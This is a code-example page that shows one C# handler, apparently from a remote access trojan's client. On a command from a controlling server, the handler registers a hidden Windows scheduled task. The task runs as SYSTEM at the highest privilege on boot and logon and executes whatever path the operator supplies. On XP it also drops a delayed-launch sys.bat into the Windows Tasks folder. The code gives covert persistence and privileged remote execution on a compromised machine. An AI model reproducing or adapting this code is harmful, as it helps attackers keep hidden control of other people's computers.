예제 #1
0
        public static void HandleCreateTask(Packets.ServerPackets.DoCreateTask command, Client client)
        {
            if (WindowsAccountHelper.GetAccountType() != "Admin")
            {
                new Packets.ClientPackets.SetStatus("Failed to create task: must be administrator.").Execute(client);
                return;
            }

            var          name    = new StringBuilder();
            var          cchName = (uint)name.Capacity;
            var          referencedDomainName    = new StringBuilder();
            var          cchReferencedDomainName = (uint)referencedDomainName.Capacity;
            SID_NAME_USE sidUse;

            var sid     = new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null);
            var sidBuff = new byte[sid.BinaryLength];

            sid.GetBinaryForm(sidBuff, 0);

            if (!LookupAccountSid(null, sidBuff, name, ref cchName, referencedDomainName, ref cchReferencedDomainName, out sidUse))
            {
                var err = Marshal.GetLastWin32Error();
                if (err == 122 /* ERROR_INSUFFICIENT_BUFFER */)
                {
                    name.EnsureCapacity((int)cchName);
                    referencedDomainName.EnsureCapacity((int)cchReferencedDomainName);
                    if (!LookupAccountSid(null, sidBuff, name, ref cchName, referencedDomainName, ref cchReferencedDomainName, out sidUse))
                    {
                        new Packets.ClientPackets.SetStatus(string.Format("Failed to create task with code: {0}.", Marshal.GetLastWin32Error())).Execute(client);
                        return;
                    }
                }
            }

            try
            {
                // If we're on Windows XP we need to use the Task Scheduler 1.0 interface
                if (PlatformHelper.XpOrHigher && !PlatformHelper.VistaOrHigher)
                {
                    var sched = new LegacyTS.CTaskScheduler() as LegacyTS.ITaskScheduler;

                    if (sched == null)
                    {
                        new Packets.ClientPackets.SetStatus("Failed to create task.").Execute(client);
                        return;
                    }

                    var    taskGuid  = Marshal.GenerateGuidForType(typeof(LegacyTS.ITask));
                    var    cTaskGuid = Marshal.GenerateGuidForType(typeof(LegacyTS.CTask));
                    object taskObj;
                    sched.NewWorkItem(command.TaskName, ref cTaskGuid, ref taskGuid, out taskObj);
                    var task = (LegacyTS.ITask)taskObj;

                    task.SetApplicationName(
                        Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Tasks") +
                        "\\sys.bat");
                    task.SetParameters(command.Arguments ?? "");
                    task.SetComment("");
                    task.SetCreator(name.ToString());
                    task.SetWorkingDirectory("");

                    var pwd = Marshal.StringToCoTaskMemUni(null);
                    task.SetAccountInformation("", pwd);
                    Marshal.FreeCoTaskMem(pwd);
                    task.SetIdleWait(10, 20);
                    task.SetMaxRunTime((uint)new TimeSpan(1, 0, 0).TotalMilliseconds);
                    task.SetPriority((uint)ProcessPriorityClass.High);

                    ushort triggerIdx;
                    LegacyTS.ITaskTrigger iTrigger;
                    task.CreateTrigger(out triggerIdx, out iTrigger);

                    // Boot trigger
                    var trigger = new LegacyTS.TaskTrigger();
                    iTrigger.GetTrigger(ref trigger);
                    trigger.Type        = LegacyTS.TaskTriggerType.EVENT_TRIGGER_AT_SYSTEMSTART;
                    trigger.TriggerSize = (ushort)Marshal.SizeOf(trigger);
                    trigger.BeginYear   = (ushort)DateTime.Today.Year;
                    trigger.BeginMonth  = (ushort)DateTime.Today.Month;
                    trigger.BeginDay    = (ushort)DateTime.Today.Day;
                    // Remove "Disabled" flag
                    trigger.Flags &= ~(uint)0x4 /* TASK_TRIGGER_FLAG.DISABLED */;

                    iTrigger.SetTrigger(ref trigger);
                    task.CreateTrigger(out triggerIdx, out iTrigger);

                    // Logon trigger
                    trigger = new LegacyTS.TaskTrigger();
                    iTrigger.GetTrigger(ref trigger);
                    trigger.Type        = LegacyTS.TaskTriggerType.EVENT_TRIGGER_AT_LOGON;
                    trigger.TriggerSize = (ushort)Marshal.SizeOf(trigger);
                    trigger.BeginYear   = (ushort)DateTime.Today.Year;
                    trigger.BeginMonth  = (ushort)DateTime.Today.Month;
                    trigger.BeginDay    = (ushort)DateTime.Today.Day;
                    // Remove "Disabled" flag
                    trigger.Flags &= ~(uint)0x4 /* TASK_TRIGGER_FLAG.DISABLED */;

                    iTrigger.SetTrigger(ref trigger);

                    var iFile = (IPersistFile)task;
                    iFile.Save(null, false);

                    // Create a small batch file to delay
                    File.WriteAllText(
                        Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Tasks") +
                        "\\sys.bat",
                        string.Format("ping 127.0.0.1 -n 180 > nul{0}start\"{1}\"", Environment.NewLine, command.Path));
                }
                // Else we use Task Scheduler 2.0
                else if (PlatformHelper.VistaOrHigher)
                {
                    var sched = new TaskScheduler();
                    sched.Connect();

                    if (!sched.Connected)
                    {
                        new Packets.ClientPackets.SetStatus("Failed to create task.").Execute(client);
                        return;
                    }

                    var folder = sched.GetFolder("\\");
                    var task   = sched.NewTask(0);
                    task.RegistrationInfo.Author = "SYSTEM";
                    task.Principal.RunLevel      = TaskRunLevel.Highest;

                    task.Settings.StartWhenAvailable         = true;
                    task.Settings.DisallowStartIfOnBatteries = false;
                    task.Settings.StopIfGoingOnBatteries     = false;
                    task.Settings.ExecutionTimeLimit         = "PT0S";
                    task.Settings.Hidden = true;

                    task.Principal.UserId = name.ToString();

                    task.Triggers.Create(TaskTriggerType.Logon);
                    var bootTrigger = (IBootTrigger)task.Triggers.Create(TaskTriggerType.Boot);
                    var execAction  = (IExecAction)task.Actions.Create(TaskActionType.Execute);

                    bootTrigger.Id    = "AnyLogon";
                    bootTrigger.Delay = "PT1M";
                    bootTrigger.Repetition.Interval          = "PT1M";
                    bootTrigger.Repetition.Duration          = "PT13M";
                    bootTrigger.Repetition.StopAtDurationEnd = true;

                    execAction.Path      = command.Path ?? "";
                    execAction.Arguments = command.Arguments;

                    folder.RegisterTaskDefinition(command.TaskName, task, 6 /* TASK_CREATE_OR_UPDATE */, null, null,
                                                  TaskLogonType.InteractiveTokenOrPassword);
                }
            }
            catch (COMException e)
            {
                new Packets.ClientPackets.SetStatus(string.Format("Failed to create task with code: {0}.", e.ErrorCode))
                .Execute(client);
                return;
            }
            catch
            {
                new Packets.ClientPackets.SetStatus("Failed to create task.").Execute(client);
                return;
            }
            new Packets.ClientPackets.SetStatus("Created task.").Execute(client);
        }